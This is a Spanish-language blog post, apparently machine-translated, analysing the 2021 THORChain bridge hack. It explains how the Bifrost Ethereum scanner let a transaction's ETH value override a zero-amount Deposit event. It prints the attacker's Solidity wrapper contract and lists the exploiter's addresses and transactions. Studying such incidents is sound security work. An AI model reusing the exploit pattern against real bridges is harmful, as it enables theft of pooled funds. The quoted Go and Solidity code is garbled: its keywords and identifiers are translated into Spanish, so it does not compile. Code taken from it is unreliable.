Direcciones relacionadas con este ataque:

  • Explotador de THORChain 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • Contrato de explotación de THORChain: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • Enrutador THORChain (víctima): 0xC145990E84155416144C532E31f89B840Ca8c2cE

Al principio, tenía la intención de consultar el artículo en https://rekt.news/thorchain-rekt/ pero me di cuenta de que estaban citando evidencia incorrecta y el artículo era bastante incompleto, así que decidí descubrirlo por mí mismo.

Arquitectura del puente de Thorchain

En el Universo de las Criptomonedas existen muchas cadenas, en cada cadena hay innumerables tipos diferentes de monedas. Desde el principio de los tiempos, la gente ha soñado con mover monedas de una cadena a otra fácilmente.

Han nacido muchos puentes con la tarea de conectar cadenas, como Anyswap, Binance Bridge, etc., la mayoría de estos puentes se construyen de acuerdo con la arquitectura de liquidez de bloqueo en ambos extremos. Los validadores tendrán la tarea de escuchar eventos o manejar bloqueos de transacciones. en la cadena de origen y se desbloquea en la cadena de destino. Operan de forma casi instantánea de bloqueo y desbloqueo, sin otras transacciones de derivados en los Validadores.

¿Qué tiene de especial la arquitectura del Puente de Thorchain?

image.png

Como sugiere el nombre Thorchain, este puente es en realidad una cadena construida a partir de Cosmos-sdk. Cosmos-sdk es tan famoso en el universo de las criptomonedas, con la ventaja de definir fácilmente cadenas, monedas en la cadena y lógica de transacción de monedas, que el gigante Binance confió en él para construir el intercambio. Y fue Cosmos-sdk el que sentó las bases de la ideología IBC (Inter Blockchain Communication), que puede considerarse la primera cadena cruzada.

Al darse cuenta de esto, Thor eligió Cosmos-sdk como material principal para su Puente.

En Thorchain, los nodos son libres de participar en la cadena realizando una determinada cantidad de depósito, que será devuelto cuando el nodo abandone. Los nodos serán responsables de escuchar los bloques de cadenas externas (que actualmente incluyen Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin) y luego procesarlos, guardando la información obtenida de los bloques en Thorchain (capa Bifrost), es fácil. para ver que los nodos en Thorchain coincidirán entre sí utilizando el IBC del propio Cosmos-sdk.

En Thorchain, la moneda nativa es RUNE, que se utiliza para calcular las tarifas de las transacciones de swap y el gas.

Entonces, ¿cómo participarán los usuarios en Thorchain?

Por ejemplo, si un usuario de Ethereum quiere depositar dinero en Thorchain, llamará a través de la interfaz de Thorchain a la función deposit() en el contrato inteligente THORChain_Router que Thor ha implementado.

// Depositar un activo con una nota. Se reenvía ETH, ERC-20 permanece en la función de ROUTER depósito (dirección bóveda pagable, dirección activa, monto uint, nota de memoria de cadena) public payable nonReentrant{ uint safeAmount; if(activo == dirección(0)){ montoseguro = mensaje.valor; (éxito bool,) = vault.call{valor:safeAmount}(""); requerir(éxito); } else if(activo == RUNE) { montoseguro = monto; iRUNE(RUNE).transferTo(dirección(esta), monto); iERC20(RUNE).quemar(cantidad); } else { montoseguro = transferenciaseguraDe(activo, monto); // Transferir bóveda de activosAllowance[bóveda][activo] += montoseguro; // Crédito a la bóveda elegida } emit Deposit(vault, active, safeAmount, memo); }

Aquí están los parámetros:

  • bóveda: es una dirección de billetera en la lista de direcciones que permiten a los usuarios depositar dinero. Según la documentación de Thorchain, con 100 nodos se utilizarán alrededor de 3 Bóvedas para depósitos, mientras que la Bóveda para que los usuarios retiren tendrá 100 Bóvedas, lo que significa que cada nodo tendrá su propio retiro de Bóveda.

  • activo: dirección de la moneda, si la moneda es ETH entonces este valor es dirección (0).

  • cantidad: cantidad

  • memorándum: tendrá el formato SWAP:ETH.ETH:RECEIVER_ADDRESS o SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Este memorándum está destinado a mostrar que el objetivo del usuario es intercambiar qué moneda por qué moneda y la dirección de recepción es Cuál ¿Dirección en qué cadena?

Los nodos de Thorchain escucharán continuamente los bloques en Ethereum y procesarán transacciones en ellos. El nodo determinará el tipo de transacción según el meme en la transacción deposit(), se puede agregar liquidez o intercambiar (se puede intercambiar con cadena o cadena cruzada), por lo que Thorchain ha creado 2 tipos de usuarios:

  • Proveedor de liquidez: este usuario proporcionará liquidez al grupo y recibirá tarifas por las transacciones de swap; la información de estos grupos se guarda en Thorchain.

  • Usuarios habituales: realizan el intercambio y pierden la tarifa, llaman a la función de depósito con la nota correspondiente en el contrato inteligente, los nodos procesarán y validarán la transacción y guardarán la información en Thorchain, luego llamarán a la función transferOut() para enviar el token de salida a la dirección del destinatario en la cadena correspondiente.

Función TransferOut:

// Cualquier llamada a bóveda para transferir cualquier activo a cualquier destinatario. función transferOut(dirección a pagar, dirección del activo, monto uint, nota de memoria de cadena) público pagadero no reentrante { uint montoseguro; éxito booleano; if(activo == dirección(0)){ montoseguro = mensaje.valor; (éxito,) = to.call{valor:msg.value}(""); // Enviar ETH } else { vaultAllowance[msg.sender][asset] -= cantidad; // Reducir la asignación (éxito,) = activo.call(abi.encodeWithSignature("transfer(dirección,uint256)" , a, monto)); cantidadsegura = cantidad; } requerir(éxito); emitir TransferOut(msg.sender, to, active, safeAmount, memo); }

¿Dónde está el agujero?

La respuesta es que se encuentra en la capa Bifrost del nodo, más específicamente en el módulo Ethereum Block Scanner del nodo.

Bien, ahora realizaremos un seguimiento de las confirmaciones de Thorchain en gitlab en su repositorio de thornode.

Tienen una confirmación configurada como Resolver "[ERROR] Reparar ataque en cadena ETH" con hash de eab0715650919a1f1ba525011423e71b53ffb27b, por lo que nos centraremos en esta confirmación, especialmente en el archivo bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go.

Vemos que hicieron algunos cambios importantes en la función getTxInFromSmartContract() alrededor de la línea 854 hasta https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c18cb_854_854, lo más probable es que la vulnerabilidad se encuentre en This.

Veamos el código de esta función antes de fusionar la confirmación Resolver "[ERROR] Reparar ataque en cadena ETH".

// getTxInFromSmartContract devuelve la función txInItem (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, recibo etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("analizar tx del contrato inteligente") txInItem: = &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } remitente, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("fail para obtener el remitente: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 es el estado de transacción exitosa si recibo.Estado!= 1 { e.logger.Info().Msgf( "estado tx(%s): %d significa error, ignorar", tx.Hash().String(), recibo.Estado) devuelve nil, nil } para, artículo: = rango recibo.Logs { cambiar artículo.Topics[ 0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("no se pudo analizar el evento de depósito: %w", err) } e .logger.Info().Msgf("deposit:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo activo, err := e.getAssetFromTokenAddress(depositEvt.Asset. String()) if err != nil { return nil, fmt.Errorf("no se pudo obtener el activo de la dirección del token: %w", err) } if active.IsEmpty() { return nil, nil } decimales := e. getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimals:%d", depositEvt.Asset, decimales) txInItem.Coins = append(txInItem.Coins, común. NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimals)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil , fmt.Errorf("fallo al analizar el evento de transferencia de salida: %w", err) } e.logger.Info().Msgf("transferencia de salida: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String () txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo activo, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf( "no se pudo obtener el activo de la dirección del token: %w", err) } if active.IsEmpty() { return nil, nil } decimales:= e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimales)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("no se pudo analizar el evento de asignación de transferencia: %w", err) } e.logger.Info().Msgf("transfer asignación: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo activo, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset .String()) if err != nil { return nil, fmt.Errorf("no se pudo obtener el activo de la dirección del token: %w", err) } if active.IsEmpty() { return nil, nil } decimales := e .getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimales)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("no se pudo analizar el evento de transferencia de la bóveda: %w", err) } e.logger.Info() .Msgf("transferencia de bóveda: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo para, elemento: = rango transferEvent .Coins { activo, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("no se pudo obtener el activo de la dirección del token: %w", err) } if activo.IsEmpty() {retorno nulo, nulo} decimales:= e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset. String(), item.Amount)).WithDecimals(decimals)) } } } // es importante mantener esta parte fuera del bucle anterior, como cuando actualizamos el enrutador, lo que podría generar múltiples eventos de depósito, junto con los tx que tiene valor eth en él ethValue: = cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero () { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, precio del gas: %s, gas utilizado : %d,estado del recibo:%d", txInItem.Tx, tx.GasPrice().String(), recibo.GasUsed, recibo.Status) // bajo ninguna circunstancia el precio del gas ETH será inferior a 1 Gwei, a menos que está en el entorno de desarrollo txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, recibo.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("no hay moneda en este tx, ignorar, %+v", txInItem) devuelve nil, nil } e.logger.Debug(). Msgf("tx en elemento: %+v", txInItem) devuelve txInItem, nil }

Esta función se encarga de comprobar si el txn es exitoso o no. De ser así, procesará los eventos emitidos por ese txn para saber de qué moneda el usuario quiere intercambiar a qué moneda (puede ser la misma cadena o diferente). ) el nodo guardará la salida de esta función y la transmitirá a Thorchain, luego los nodos enviarán monedas a la dirección de recepción para considerar completar el intercambio.

Nota en el caso depositEvent: este es el caso que se maneja cuando el nodo de evento es el evento Depósito (dirección indexada a, dirección del activo indexado, monto uint, nota de cadena) del contrato THORChain_Router. Determinará la moneda de entrada, la cantidad, la nota y luego, basándose en la nota para determinar la moneda de salida, la dirección de recepción deseada por el usuario.

Al salir del bucle for, tiene un identificador dedicado a depositar la moneda nativa ETH:

// es importante mantener esta parte fuera del bucle anterior, como cuando actualizamos el enrutador, lo que podría generar múltiples eventos de depósito, junto con un tx que tiene un valor eth ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = agregar (txInItem.Coins, común.NewCoin(común.ETHAsset, ethValue)) } }

Este es el defecto, aunque arriba la información de la moneda y la cantidad se obtuvo al analizar el evento Depósito, aquí continuamos analizando tx.Value(), lo que creó la posibilidad de anular la información obtenida antes.

Los piratas informáticos se dieron cuenta de esto y crearon un contrato inteligente para atacar. La lógica es muy simple, envuelve THORChain_Router de la siguiente manera:

// Identificador de licencia SPDX: solidez pragma SIN LICENCIA 0.8.3; interfaz IRouter { función depósito (dirección de bóveda a pagar, dirección de activo, monto uint256, nota de memoria de cadena) pago externo; } contrato de ataque { ataque de función (enrutador de dirección, bóveda de dirección pagable, nota de memoria de cadena) pago externo {IRouter(router).deposit{valor: 0}(bóveda, dirección(0), 0, nota); pagadero(msg.sender).transfer(msg.value); } }

Por ejemplo, el hacker llamará a la función de ataque con una determinada bóveda válida de Thorchain, la nota podría ser "SWAP:ETH.ETH" y el valor del mensaje es 100 ETH, después de llamar 100 ETH sigue siendo suyo, pero dentro del ataque se llama depósito ( ) de THORChain_Router.

Al combinar este contrato inteligente con la función getTxInFromSmartContract() del nodo anterior, el hacker engañó fácilmente al nodo haciéndole pensar que quería intercambiar 100 ETH por una determinada moneda, a pesar de que no depositó ningún ETH.

Aquí está el historial de txn del hacker en Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

Tomemos, por ejemplo, este txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (bloque 12833255). El hacker atacó con 100ETH, junto con la bóveda 0xf56cba49337a624e94042e325ad6bc864436e370, memorándum "SWAP:ETH.ETH".

image.pngPodemos ver fácilmente el evento emitido desde THORChain_Router:image.png

Aunque la cantidad del evento de depósito es 0, tx.Value() es 100,265 ETH. Por lo tanto, el nodo pensó que alguien quería cambiar 100 ETH por 100 ETH =))).

Eso es todo, el hacker solo necesita esperar a que lleguen 100ETH a su billetera, la transacción en la que el nodo transferOut() 100 ETH al hacker está aquí es https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

Los hackers repitieron esto muchas veces para robar ETH y otros tokens ERC20 del pool, con un valor estimado de unos 5 millones de dólares.

Actualmente, Thor ha reparado su Thorchain, pero el intercambio se está pausando para comprobar otras posibles vulnerabilidades.

resumen

Defi es siempre una tierra fértil tanto para las nuevas empresas como para los piratas informáticos; cuantos más modelos nacen, también significa que pueden aparecer más vulnerabilidades, provocando pérdidas de hasta millones de dólares. Pero cualquier cosa antes de alcanzar la perfección debe pasar por mucho dolor, y superarlo significa que la tecnología es cada vez mejor.

El artículo es del 2021 pero las lecciones siguen vigentes, gracias @trinhvantan por publicar artículos valiosos para la comunidad.